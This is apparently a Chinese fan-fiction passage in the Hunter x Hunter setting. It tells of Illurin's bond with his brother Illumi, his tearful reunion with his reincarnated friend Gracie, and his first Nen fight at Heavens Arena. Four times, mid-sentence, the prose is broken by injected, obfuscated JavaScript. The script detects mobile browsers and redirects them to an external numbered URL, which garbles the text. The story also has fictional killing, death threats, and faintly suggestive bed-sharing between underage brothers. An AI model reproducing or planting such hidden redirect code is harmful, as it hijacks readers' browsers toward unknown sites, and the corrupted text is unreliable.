席巴打断了他急切的言语，他赶过来的原因是要看伊洛林的态度，看他说的话，做的事，才真正放下心来。他在伊洛林身上看不到任何的恨，任何的怨，他和柯特他们通电话的时候，也被实时监听。伊洛林有资格了，真正的，作为他的儿子的资格。 揍敌客家没有废物，但孩子如果资质不够，也没问题，是揍敌客家的孩子就足够了，向着揍敌客家就足够了。 父母永远爱孩子。 他们永远爱着孩子们。 “他不应该用你的命来赌，所以这次历练回去以后，他要接受惩罚。” 伊尔迷从十六岁后就再也没有接受过惩罚，他一直做得很对，但是这一次他不应该拿伊洛林的命开玩笑，哪怕是有充足的准备，拿家人的命来赌这一点，是不应该存在的。伊尔迷听闻时本身还有些疑惑，直到席巴问他，是否并没有真正将伊洛林视作家人，所以才会觉得他的命是可以被押上赌注？那么换句话说，糜稽的命呢，柯特的命呢，又比如……奇犽的命呢？ “伊尔迷，他曾经是你的宠物，但那只是曾经。” 你年少一时兴起，我就对你说过，养宠物这件事情会带来的后果，你说你能够养好，但是宠物养久了也会变成家人，更何况，伊洛林他真的是个人呢。 伊洛林怔愣了几秒，他擦干了眼泪，声音也急促了几分。 “不是，大哥是为了我好，不是伤害我……我，我太慢了，我根本不能做好那些事，是大哥为了我才……” 席巴拍了拍他的手背，阻止了伊洛林继续说下去。 他很会反省自己，这是好事，正是因为如此，他才是家里唯一一个不需要别人看着就会自己准时准点去训练的人，甚至加训也不在话下，不睡觉的时间里仆人汇报时他总是在健身，锻炼。但他太会反省自己，这就让他没有自己主见，过分信任兄长的安排，信任他的长辈做出的一切决定。这是正确的也是他们喜欢的，但是，他必须有自己的主见，也是确定的。 “有空的话，打个电话给妈妈吧，她也很挂念你。” “……好的，爸爸。” 席巴离开了。 他并不会离开揍敌客家太久，还有很多事情需要他处理，这次有个好结果，是不错的。 伊洛林会继续在天空竞技场训练，伊尔迷也会陪着他，直到他们回家之后，伊尔迷才去接受惩罚，不过如果中间有空，伊尔迷应该会先行回去接受惩罚再来就是了。 送走了席巴，伊洛林想了想，还是打了个电话回家。 “妈妈！我是伊洛林……” 话音未落，基裘的声音就炸得电话都要爆音了，他情不自禁挪远了一些，高分贝的尖叫声突破新上限：“伊洛林——！！妈妈的伊洛林，你现在怎么样？居然强行开念了，怎么能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035560|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么危险的事情！！下次绝对不可以！但是伊洛林你居然也能够成功，妈妈太开心了——！” “妈妈……” 伊洛林觉得自己又想哭了。 好像自己以前真的许愿过，想要爱着自己的爸爸妈妈，现在算不算是，愿望成真呢？哪怕他们家这样的扭曲，这样的不一般，他都还是如此的愿意沉沦在里面。 早已习惯了基裘这样的说话方式，伊洛林很耐心地和她聊了十多分钟，直到席巴已经到家才挂断电话。 他忍不住在心里想，强迫开念是好的。 他有爸爸妈妈爱着了……他不是没人爱的小孩不需要再为此而痛苦了……但是，好奇怪，为什么他会，为此而痛苦呢。伊洛林觉得自己还是不清醒，脑子里总是有一些自己不知道的记忆，除了顾深深的事情以外，其他的东西他才不想记着！ 都是会痛苦的话，还是这边比较好一点吧！ 伊洛林让自己在浴池里泡了半个多小时，热乎乎地爬出来，吹头发，喝冰饮料，才发现自己今天还没有吃过饭。想了想他还是发了条消息问伊尔迷，他现在在哪里。伊尔迷回复得很快，接了一单在附近的生意，刚刚完成。 十分钟后，他们在餐厅碰面。 伊洛林点了一份小牛排，伊尔迷则要了一份套餐，今天的伊洛林胃口不错，小牛排只剩下了两口，伊尔迷帮着吃掉了，喂了他一颗小番茄做餐后水果，招手再点了两份柠檬塔做甜点。 “哥哥，对不起，我害得你要接受惩罚……” 伊洛林还是于心难安，毕竟从他很小的时候，他就记得伊尔迷的强大和无所不能，在他眼里，伊尔迷就是站在顶端的男人，他仰望着这个人，就像仰望高山之巅。 “不哦，爸爸说得没错。”伊尔迷想到今天和父亲的对话，久违地觉得自己是应该清醒一下了，如果伊洛林出了意外，他大概这辈子都不会原谅做出这种事的自己吧？哪怕他不可能让伊洛林出意外。家人是最重要的，他真正把他当家人了吗？所有物的味道更强烈一些吧。 “伊洛林，哥哥也是人，也会做错事，所以不用说这个。是哥哥要说对不起才对。” 伊尔迷是这样的人。 他总是这样的……明明看着不讲道理，实际上却很有道理，只不过是他自己的道理而已。伊洛林摇摇头，他觉得柠檬塔的味道太酸了，否则自己怎么又模糊了视线。 “不要对哥哥撒娇了。”伊尔迷伸手，擦去了伊洛林的眼泪，他的拇指指腹摩挲着伊洛林小巧的泪痣，望着他小狗似的圆润的下垂眼，他叹息：“今晚，哥哥要住在你房间了。” 伊洛林当然不介意。 他早就习惯了两个人一起睡。 另一张桌子上的格蕾西：呜哇，这两兄弟，真是gay的不行啊……但是她瞥了一眼笑眯眯的西索，对方正用土豆泥堆爱心企图给她吃掉，格蕾西面不改色，一脚在桌子底下痛踩西索的小脚趾。 死变态，吃饭都不安生。 18. 18 伊洛林睡了一场好觉。 他起身时精力十足，伊尔迷则很少见的还在床上。 一般都是伊尔迷先起来他才起身，而这一次他睁开眼睛时伊尔迷还闭着眼睛，也许是因为才刚刚六点的缘故？伊洛林不清楚，他坐起来，兄长的双臂还在他腰上环绕，一条腿贴着他的身子。 嗯……总觉得哪里不对。 伊尔迷睁开眼睛，他的长发拢起来，垂落在身侧，掀开被子，他什么也没说就进了浴室。天空竞技场两百层以上的豪华房间，床软设施好，极度舒适，伊洛林倦怠了几分钟突然意识到是哪里不对。 男人早晨偶尔会有的晨……呃。真的假的。 伊洛林现在感觉自己贴着的那条腿有些不是自己的感觉，立刻换了身衣服让自己冷静一下，否则连自己亲哥都要误解了。他乖乖坐着，等到伊尔迷出来，还有些难以放松心情，直到吃完饭之后才逐渐好起来。 他被伊尔迷带着，去看了一场格蕾西的战斗。 格蕾西似乎有了一定的名气，排山倒海般的声音呐喊着她的名字，小巧的女孩站在男人的对面，单手叉着腰，随性地抬起右手。她手上拿着奇怪的武器，镣铐一样锁住手腕的铁质金属，垂下一截细长的锁链，锁链前端链接着一柄棱形长刺，手柄处恰好是一个成年人握住的尺寸，而说是棱形长刺，实际上是由两片尖刺拼接在一起而成的四面锐利长刺，每一面都锋利至极且带有月牙形状的弧口与锯齿形放血设计，一下戳刺进肉里，会造成血流不止与肌肉撕裂。 凶残而直接的武器，不带任何花里胡哨。 而格蕾西拎着锁链，正将那危险至极的长刺甩成圈，一圈一圈虎虎生风，干脆利落。 她才十岁，就拥有不输给任何人的气势。 仿佛代入了顾深深的脸就会将格蕾西也看得更重，伊洛林忍不住为她担忧起来，伊尔迷抬起手，将手指搭在伊洛林的脖颈处，像抚摸炸了毛的小猫似的，抚摸着后脖颈处的线条：“别担心，她是从流星街自己走出来的人，不会弱。” “流星街？” “嗯，环境很差，斗兽场一般。嘛，不过一直在搞垃圾分类就是了，也没什么资源，却生出了很多强者。”伊尔迷漫不经心地解释，也没细里说，如果不是他带走了伊洛林，估计这个孩子最终的归宿也是被仇家丢进流星街吧。 战斗开始了，呼喊助威的声音掀开热潮，四面八方只看一场决斗。 格蕾西的招式从来没有章法，她只有一个目的，那就是要你的命。带着狠辣与绝情，念力配合着招式，一柄长刺丢出可扯住锁链回收，也能够握在手中进行捅或划的动作，躲避也迅猛，她专注于战斗，眼中凝聚一层凝一闪而过，她再度抛出长刺，锁链的长度却比预料的增长了许多，划破了对方的胳膊，造成了一道流血不止的伤口。 还蛮强的。伊尔迷漫不经心地评价，侧首看一眼伊洛林，却发现他皱紧了眉头。 “你看出了什么？” 伊洛林的目光紧随着格蕾西，少女轻盈又迅猛的身影留下了残影，像是在享受战斗一般，带有凶狠与势如破竹的气势，唇角甚至还有一丝不易察觉的笑意，她像丛林里的狩猎者，正蓄势待发咬下致命一击。 “……不可以让她这样下去。” 伊洛林喃喃自语。 “她会，回不去的。” 摇摇欲坠的钢丝绳索，绷紧到极限时，上方跳舞的演员也会从高空坠落。 伊洛林轻微发颤，有什么东西正在心里破土而出。 胸腔沉闷，心跳如雷，像是疾风骤雨歇斯底里在胸口，叫嚣着什么。 长刺戳进了敌人的胸口，鲜血染透女孩半张脸。 她睁着一双黄金似的眼瞳，手指轻轻一颤又收拢，冷漠看一眼还在痉挛着吐出鲜血的人，转身就走，将那些欢呼与喝彩甩在身后，步伐稳健却越来越快。 是他想要杀她的，是他……所以，被杀掉，是他的命运，这是公平的。 伊洛林骤然起身。 本身想立刻追上去，却又无措地看了一眼伊尔迷，他略带了些乞求，伊尔迷歪了歪头，或许是觉得伊洛林和格蕾西交流一下也行，于是侧身让开了些许。伊洛林读懂了兄长的意思，他追了出去，格蕾西的背影在黑暗里，面对着光拖出长长一条影子来。 听到脚步声，她缓缓回头，那双眼睛在黑暗里像是大型野兽。 伊洛林的脚步慢下来，他缓缓靠近。 格蕾西皱起眉头，半张脸晕染的血迹还新鲜，她不知道这家伙来找自己做什么，再打一架她也不介意就是了。 伊洛林从口袋里掏出一包小巧的湿纸巾，他掏出了那纸巾里其中一张递给了格蕾西，格蕾西犹豫着接住，展开后擦拭了自己的脸，她想象得到，自己这张脸看起来到底有多么狰狞。直到擦干净了，她随意将纸巾丢向一边的垃圾桶里，盯着还不走的伊洛林，似乎在等他开口说来意。 “……你，害怕杀人吗？” 这是个奇怪的问题。 格蕾西简直觉得这人搞笑，没记错的话，他好像是杀手世家的人吧。 “怕？为什么要怕，难不成你要站着让人杀吗。” 话音刚落，格蕾西发现伊洛林又哭了，他太爱哭了，和林洛一样，眼泪说掉就掉！ 格蕾西烦得半死，你又不是林洛，要哭也别在我面前哭。 她拔腿就走，生怕伊洛林追上来，也怕伊尔迷找她的麻烦，可是空荡的长廊里伊洛林的哭声追了上来。 他说——顾深深。 他哭着说——顾深深！！！ 格蕾西脚下一顿，她愕然回头，中文入耳，带来的是大脑都在颤抖的震撼。眼泪下意识积蓄，她看见伊洛林痛苦的双眼，她看见他们之间的距离。 那么近，又那么远。 明明我思念着你，为什么再见面，你和我拥有同样熟悉的脸，却又变得那么陌生。 陌生的我现在才认出你？ “……林、洛？” 伊洛林奔来的影像像是被放慢的动作，他扑进格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035561|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕾西的怀中，他们紧紧地抱在一起，身体重叠，心脏如雷鸣声般跳跃，在久违的温暖里，鲜少与人亲密接触的格蕾西，以为自己永远无法接受别人触碰格蕾西，她感受到了一种满足。 她也克制不住自己的泪水了。 来到这个世界开始她就很少哭，被丢进流星街的时候也没哭，差点死去的时候也没哭，被迫和零分开的时候也没有哭，第一次杀人没哭，哪怕每天晚上都在做噩梦也不会哭，而现在，她的眼泪汹涌泛滥。 他们是两颗相隔甚远的星星，终于终于，再次相遇。 他们互相依偎，用眼泪倾诉对彼此的思念。 格蕾西哭得头晕，抽噎着摸了一把伊洛林的胸口：“姐妹，你怎么穿成个带把的……” 伊洛林哭得更大声了。 “我不知道哇……” 什么古早女穿男！不要啊！！ ……等下穿越是什么意思？伊洛林又卡壳了，拍了拍脑袋。还有其实他也不是很理解自己为什么以前是女的，和顾深深认识，又其实是男的，脑子乱得很。 他狠狠抽噎了两下，手还拉着呢，就看到西索从另一边走来，挑着眉头看他们拉在一起哭。 “怎么了？嗯哼~难道说是吵架了？” 不得不说，他还是第一次看见格蕾西哭呢，上次和他训练好像断了根肋骨吧，也没掉眼泪呢。伊洛林胡乱擦了擦脸，他想解释什么，就听见格蕾西冷漠回了句要你管，她拉着伊洛林就跑，压根没有停留的意思。 他们手拉着手，跑过长长的走廊。 像他们手拉着手，跑过山路，跑过校园，跑过很久以后。 伊洛林把自己的房门关上了，有些疑惑：“你和你哥哥，关系不好吗？”他刚哭完没多久，眼睛还肿着，格蕾西没好气地宣泄不满：“谁哥啊，我不认，那种家伙……反正你以后也离他远点，我怀疑他炼t，哎呀，总之，总之你别靠近他！” 他们挤在一个洗脸盆前洗脸，看见彼此的红肿眼睛都忍不住相视一笑。 “你是怎么认出我的？虽然长得一样，但是之前你也和我一样，根本没能确认吧？”格蕾西抹了一把脸，用毛巾吸干脸上的水分。因为伊洛林是突然追出来的，所以肯定是在她战斗的时候看出来的，但是是怎么看出来的她完全不明白。 “……因为我听见了。” 伊洛林努力想要笑，唇角却翘不起来，似哭似笑，表情难看至极。 “我听见了，你在求救。你不想杀人，你很抗拒……我想，我想你应该和我一样，而且，你那天说了中文，是疯子，对吧？我怀疑我听错了，我怀疑我只是一时的……太想你了，可是加在一起，我觉得，为什么不是你呢？” 额头贴着额头，四目相对。 他们贴在一起，像受伤的野兽，互相舔舐着伤口。 只有你懂我的求救。 只有你看见我的抗拒。 我们是被放逐的流浪者，找不到家与归宿，在这个世界是个异类，格格不入的，异类。 19. 19 相逢总是让人幸福的。 能够这样亲密无间拥抱的人也少之又少，于是他们彼此待在一起聊了聊天，手指紧紧交握，十指相扣。 格蕾西很在意，那天自己居然就这么看着伊洛林差点死掉，也讨厌那么做的伊尔迷，可伊洛林说父亲已经惩罚过了哥哥，所以已经没关系了，哥哥还道歉了！ 他开心地对格蕾西描述。 他现在很幸福，有疼爱自己的父母，爷爷，还有曾祖父，兄弟多达四人！格蕾西发出你妈真能生的赞叹，想了想描述了自己的家庭，一个女人一个男人，然后还有个哥哥是变态。 “我先给你介绍我的家人！” 伊洛林掰着手指数，大哥你自己见过了，二哥叫糜稽，三哥叫奇犽，五弟叫柯特。这一串接龙一样的名字下来，格蕾西都怀疑自己记不记得住。 “对了对了，我听说流星街很危险，你在里面是不是吃了很多苦？”伊洛林眼见着又想哭，格蕾西捧着他的脸揉了起来，没多少肉的脸比曾经瘦了许多，看着就让人心疼，她不想让伊洛林担心，当然是挑好的说：“我一进去啊，就遇到了好人呢！她叫零，长得跟你好像，我就一直跟着她，武器也是她送的，所以没吃多少苦啦！” 假的。但是格蕾西说谎，从来都是面不改色。 “你呢？你会不会，被强迫了？” 杀手家族，要杀人，你呢，你能接受杀人吗？ “唔……还好？杀人难了一点，因为要准确到心脏的位置。”伊洛林摇摇头，他自顾自地说着，没注意到格蕾西的脸色越来越难看，听着他描绘的一些苦恼，一般都是细致到可以算是解剖的程度。可最让格蕾西无法接受的是，伊洛林竟然有些不好意思地说自己大概没有什么杀人的天赋。 这不对，完全不对。 “……林洛……” 她看见伊洛林抬起头来，露出一点疑惑的表情：“话说，林洛是我的名字吗？我有点不记得了。” “……深深？” “你为什么要露出这样的表情，是我哪里说错了吗？” 格蕾西低下头，她无法理解自己意识到的事情——伊洛林在退化。 他的常识或许已经退化到了难以理解的程度，换句话说，他正在被世界同化。可是不知道是为什么，有关于她的记忆被很完整地保留了。 就像是一句梗，伊洛林可能会脱口而出，放在适应的地方，可是你要他解释意思的话，他自己都不懂为什么会说出来。 他们在这里生活了十年了啊。 “没有，我只是还有些事情要做。对了，今晚要一起去吃饭吗？附近有家我很喜欢的餐馆，然后啊，附近还有一些地方很好玩，我们一起去吧！” 自己一个人也能够生活得很好，但还是希望你在我身边。 笑容满面和伊洛林告别后，格蕾西离开。 只不过，很快她就在长廊上和伊尔迷相遇。他们彼此静静地对着对方几分钟，伊尔迷的眼神透着浅浅的杀意，而格蕾西的眼睛也并不顺从，他们彼此对峙着。 伊尔迷当然是目睹了全程。 他才发现原来那一年伊洛林嘴里念叨得深深，居然真的有这个人的存在。真是不妙，又让人觉得不爽啊。 “……” 不过现在就警告她的话，伊洛林会不高兴的吧。 伊尔迷从她身边经过，目标明确，是伊洛林的房间，格蕾西注视着他的背影消失在自己面前，只需要一眼就知道了，他是自己最讨厌的类型。 格蕾西走回自己的房间。 她打开电视，在录播里搜索伊洛林的名字，一共九场战斗。 第一场，第二场，第三场……直到第九场。伊洛林都处理得很漂亮，他的行为完全符合强者的逻辑，肌肉积蓄力量，爆发性强，战斗时并没有太投入，甚至拳头在打过去的时候并没有停顿的迹象。 “你真的很在意他呀。” 西索不知何时出现在了她背后，盘腿坐下来，拿着一套扑克牌开始堆塔，小心翼翼地屏息凝神搭着，全神贯注倾注注意力，语气却依旧轻佻：“哭的好惨呢，哥哥以为你被欺负了，看起来又不是这样呢~?” 格蕾西凝视着定格画面里，伊洛林冷漠的眼睛。 那是一双绝对不属于伊洛林的眼睛。 或者说这样的表情就不应该出现在伊洛林脸上！ 他是一个温柔的人，是一个烂好人，爱笑，爱哭，又怕疼的小姑娘，她不喜欢伤害人，甚至连撒谎都不会，她并不开朗，内敛而又怯懦，她甚至把自己吃亏当成吃亏是福。她这样的人，只会嘿嘿傻笑着，怎么可能会……露出这样的表情。 伊洛林，你的家，真有那么好吗？ 还是，被同化了的你更能够接受这样的家庭吗。 “你知道多少揍敌客的事？” “一点点吧？” 西索搭好了两层，他抬眼看了一眼自己所谓的妹妹，四目相对，气氛焦灼。她应当是想知道的，可是自己为什么要告诉她呢？因为自己是哥哥？如果不是一时兴起，想去看看自己妹妹是什么样的，他又怎么会去找呢。 他的妹妹，培养起来，应该会很美味才对…… 虽然那个伊洛林还差了点，但是杀了他的话，伊尔迷应该会恨他吧……到时候也能够战斗了，真棒呢…… 他想着这些的时候，格蕾西已经站了起来，对着他嫣然一笑。 而后一脚把这个半成品踹塌了。 “啊……真过分……”这么说着，西索脸上的遗憾慢慢变了味道，变成一种欣赏和狂热，格蕾西走到门口，回过头看不再伪装成好哥哥模样的西索。她不觉得这是她的哥哥，这只不过是一个催命符，谁愿意做那个被摘下来的果实？而西索也没有把她当作妹妹，养熟了再杀掉是他所谓的乐趣。他们都心知肚明。 “我会自己查的，至于你，自便吧！” 砰。 门关上了。 西索的手机响了起来。 伊洛林换了一身男装，对着镜子整理了自己片刻，才鼓起勇气开门出去。他扎了个高马尾，和往日的死气沉沉不同，带着些愉悦与期待，满怀欣喜的前往约定的地点。 而格蕾西也已经在大门口等着了，他跑过去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035562|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两只手自然而然牵在一起。 伊洛林从未如此幸福过。 他等这一刻好像已经等了十年了。 于是他笑容灿烂，毫无阴霾。 他们好像回到了过去，一起出去玩，吃饭，玩游戏，在游戏厅里大杀四方。伊洛林注视着格蕾西的脸，哪怕相隔十年，他们也依旧亲密无间，互相信任，没有任何隔阂。 因为他们是互相选择的家人。 “我很久没穿过这种裙子了。”格蕾西提起轻飘飘的裙摆，她以前从来只穿方便战斗的衣服，这样的衣服不在考虑之内，她还散了自己的长发，看到伊洛林也与从前不一样，她笑着将手中的食物喂进伊洛林嘴里：“不过你哥哥的杀意也太可怕太明显了吧？我是真不喜欢他。” “他只是有些保护欲过重了……” 伊洛林企图解释，他能够清晰地感受到背后，来自哥哥的视线，完全没有隐藏的想法，念力甚至在激荡。拜托了哥哥，你再忍一下…… 他的哥哥真的是对他有强烈的，独占感。 大概是因为自己是他从小带着长大的吧…… 格蕾西搂住了伊洛林的胳膊，侧首亲吻上他的面颊，骤然，来自背后的那杀意惊得鸟雀四起，又缓慢地减弱下去。 “不过，他也拿我没辙呀？”格蕾西笑的得意：“想杀我的头一个应该是西索，你哥要排还得排第二。” 啊……等下，糟糕…… 伊洛林摁住了格蕾西的手。 这一次爆发式增长的杀意来自于伊洛林。 “……谁，要，杀你？” 伊洛林几乎控制不住自己的想法。他的肌肉绷紧，眼睛的杀意几乎实体化，格蕾西忙安抚他：“你打不过我哥，我也打不过你哥，我们猥琐发育啊！乖，乖，以后一定能打得过，现在还没到时候……” 她又费尽口舌解释了一通西索的养果子理论。 伊洛林还是绷着脸。 他不喜欢西索，讨厌西索，因为西索，想要杀格蕾西。 他不能停下脚步，他要变强，变得更强，变得能够保护格蕾西为止，哪怕她不需要自己的保护，也要做到。 “我会，加油的。” “嗯，我也会！” 两个人心照不宣地达成了共识，只不过却没有彼此互通，因此伊洛林满心欢喜地以为格蕾西说的是西索，但格蕾西的意思是，两个，我都杀。 深夜回到房间里，还没缓一口气，就看见了伊尔迷站在月光下。 他很不高兴，很不爽。 可他的弟弟一直都没有回头看自己一眼。 笑得那么开心，就那么喜欢这个女孩吗，明明，从来都没有那样笑过。 “伊洛林，过来。” 他看见弟弟走过来，抬头看自己，一双眼里还有怯生生的无措，以及未完全消退的喜悦。他用手指抚摸弟弟的面颊，指尖轻轻蹭过鬓发，绕到脑后，随即扯下了他的发圈。 长发散落，伊尔迷弯腰，认真开口。 “你再和她那么近，哥哥就把她杀掉，懂了吗？” “现在，回答我。” 20. 20 “咦？” “……？” 伊尔迷以为伊洛林的反应会很恐惧或者是难过，但他只是愣愣地露出无法理解疑惑表情。这种不同让伊尔迷微微歪了歪头，而伊洛林也和他一样微微歪头。两个人对视了几秒钟。 “咦，哥哥是指，杀掉格蕾西吗？”伊洛林终于反应过来，可他更疑惑了：“并没有相对应的任务，而任务之外的人最好不要杀，而且格蕾西做错了什么吗？哥哥为什么要杀她？讨厌她？因为我和格蕾西出去玩了吗？” “……” 伊尔迷认为伊洛林对自己的话语没有产生应该有的情绪，是因为他以为自己不杀多余的人，也没有理由杀人。 “你和她太亲近了，不允许早恋哦？还有，杀手并不需要朋友，你可以和她维持交易关系，感情方面，不行。”伊尔迷蹲下身子恰好能够和伊洛林对视，他认真告诫伊洛林，而伊洛林只说自己并不是早恋，只是和格蕾西是朋友，哥哥你和西索不是朋友吗？ “不是。” “咦？” “互帮互助罢了。” 听着伊尔迷这么说，伊洛林放心了不少，那自己以后如果杀了西索，哥哥应该不会觉得难过吧？他抬起手搂住兄长的脖颈，亲昵蹭一蹭：“哥哥，不用担心我，格蕾西是很好的朋友……她永远不会出卖我，永远会帮助我。” 你又没和她相处多久，你怎么知道？ 伊尔迷把这句话吞进肚子里，他没再说什么，宽厚手掌拍了拍弟弟单薄的后背，思考着今天他吃了多少东西，看起来和格蕾西在一起，确实让他胃口也好了很多啊…… “明天就是你的第一场战斗了，五场之后，我们就回家。” “我会努力的！” 伊洛林点点头，在伊尔迷起身时，他却又贴上去了一些，用他那双下垂湿润的眼睛盯着伊尔迷的眼睛，他说：“哥哥，西索想要杀掉格蕾西，所以我以后会杀掉西索哦。不论是什么原因让你想杀了格蕾西，你是我的家人，格蕾西也是我的家人……哥哥不会这么做的，好吗？” 总是用软垫行走的怯懦小猫，终于露出了他野兽才会有的獠牙。 温和的伊洛林，执念毕露。 “哥哥对我来说很重要，格蕾西对我来说也很重要……哥哥可以答应我的吧？” “……若是哥哥不呢？你要杀了哥哥吗。” 伊尔迷平静询问。 伊洛林摇摇头，他平静回答道：“我会怀着恨意立刻去死，因为我做不到伤害哥哥、家人，我唯一会伤害的只有自己。” “因为我知道，哥哥很喜欢我。” 伊尔迷抬手捏了一把伊洛林的脸。 “知道了，哥哥会考虑的。” 如果格蕾西死去，那么伊洛林不会独活。 若我不曾遇见你只是孤独一人在这里，那么我会带着有你的记忆好好活下去，可我遇见了你，我必然与你生死相随。 伊洛林和格蕾西的感情，远超伊尔迷的预计。 这并非威胁与胁迫就能停止的关系，这是用灵魂捆绑的爱，没有任何私欲的爱。 如果说爱不能理解，那么只用两个伊尔迷能理解的字来解释：家人。 有些家人不必血缘关系。 只不过伊洛林并不知道，伊尔迷理解的时候，总是会想到他们。哪怕伊洛林已经遗忘，但伊尔迷很清楚，他与自己没有血缘关系。 兄弟同床异梦，一夜好眠的只有伊洛林。 他在好好休息之后，用百分百的精力面对自己的第一次，与念能力者的战斗。 对方和他一样并没有带武器。 伊洛林认真记住了他的脸，他是一位步入中年的纤细男人，面相有些贼眉鼠眼，下意识微微驼背，做出一副殷勤的模样来，对着伊洛林搓了搓手。 周围欢呼声不断，站在中央的伊洛林却没有所谓心潮澎湃的感觉，想必，那天的格蕾西也并没有这种感受。 “现在登场的是我们同为十岁小孩的伊洛林小弟弟！这么可爱的脸，居然是男孩子——而这一次，不知道伊洛林小弟弟能不能再创奇迹呢！” 解说小姐姐热情欢呼：“这还是他第一次参与我们的两百层以上战斗，回顾之前，全部都是十招以内解决对手！而另一位我们两百层的选手吉塔那先生，则已经获得了两次胜利，今日究竟花落谁家呢！让我们拭目以待！” 吉塔那黑黑一笑：“小弟弟，我知道你很强，但是不好意思，我这种人也有自己的梦想……请你失败吧！” 他用手比出手枪的姿势，对准了伊洛林。 凝在眼中停滞两秒，伊洛林突兀侧身，而身后的墙壁则出现了一个深坑。 吉塔那露出苦恼的表情：“这样我就只能连发啦！” 伊洛林不回答，凝在眼中停留，他躲避着无形的念弹，身体敏捷矫健，掠出了残影，解说小姐姐维持着她的那份热情，举着话筒理解解说：“吉塔那先生的手枪子弹简直杀人于无形，而伊洛林小弟弟身手敏捷，简直就像是蜂鸟一样迅速啊！伊洛林选手似乎无法进行反击，究竟有什么办法能够破解呢！远距离攻击真是让人难以想象的便利啊！伊洛林小弟弟，恐怕落了下风！伊洛林小弟弟，加油啊！！” 格蕾西皱着眉头看现场的战斗，她一时之间有些不明白伊洛林在做什么，思考了几秒钟却意识到这恐怕只是伊洛林在适应战斗。 伊尔迷坐在西索边上，西索饶有兴趣地看着战斗。 “嗯~新人如果大量使用凝的话，念力会耗尽的吧？” “不用担心。”伊尔迷面色不改：“他很清楚这一点。”他的视线望向格蕾西，与她四目相对，沉默几秒伊尔迷突兀开口：“你挺让人讨厌的。” 操作系的直觉让他对格蕾西就是喜欢不起来。 格蕾西冷笑一声：“你也不遑多让，讨人嫌。” 此刻，场上的躲避已经进行了十分钟，明显的，吉塔那露出了疲倦与震惊的神色，他微微一停顿，伊洛林空中下落，震碎了地面，飞起无数细小石块，他迅速接上了一个回旋踢，吉塔那惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035563|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声，捂住了手腕——伊洛林踢出了一枚碎石，造成了吉塔那的手枪。 口哨吹响，裁判大喊着得分的专业用语。 “你怎么会还有念力！不可能的，用凝的话……”他似乎不敢相信自己计谋失败，伊洛林依旧平静，露出了相当无辜的表情。他没有用凝，从刚刚开始就没有，或者说，他只是短暂地用了几秒钟，剩下的时间里都在靠单纯的身体反应来躲避。 “我想知道你到底能坚持多久，看起来，也就到此为止了。” 伊洛林没什么想要解释的心情，他闪身一瞬间，下一秒就出现在对方面前，拳头覆盖一层硬，瞬间矮身就是一拳。 吉塔那飞了出去。 他迎头镶嵌进了墙壁里。 伊洛林慢慢直起身子，表情不变，场面一时之间寂静，直到裁判的口哨再一次吹响。 “真是太太太，太精彩了！！！” “伊洛林小弟弟完全没有疲倦，这一拳打破了他在天空竞技场的纪录，真是恐怖的力量啊！恭喜我们的伊洛林小弟弟，获得胜利！！” 西索撇了撇嘴。 “你弟弟是强化系吧？是直来直去的那种，没什么脑子的类型呢。” 格蕾西暴踩西索小脚趾。 “说什么呢！他只不过是在适应战斗！” 伊尔迷难得认同：“谨慎很重要的，西索。” 西索有被扫兴到，突然不想和这两个人说话，在维护伊洛林这件事上，你们倒是配合默契。伊洛林刚刚那个状态明明就像是发现了什么好玩的东西一样所以才会耍着对方玩，要真想解决战斗对方都不够他看，毕竟那个男人也不过是虚有其表罢了……念弹真的太容易解决了，只需要学会对念的控制…… 伊洛林走出战斗场，迎面就遇上格蕾西，两个人拥抱了一下，他下意识寻找起自己大哥的影子。 “我大哥呢？” 格蕾西耸耸肩：“不知道啊，接了个电话就走了，让我跟你说自己先休息。” “对了，你是什么系的？” 格蕾西拉着他的手往回走，西索同样不见踪影。 “强化系。” 伊洛林有些不好意思地说着：“我还以为自己也会是操作系……不过祖父是强化系，听说我这算隔代遗传？” 念能力哪里会遗传啦！ 格蕾西哭笑不得。 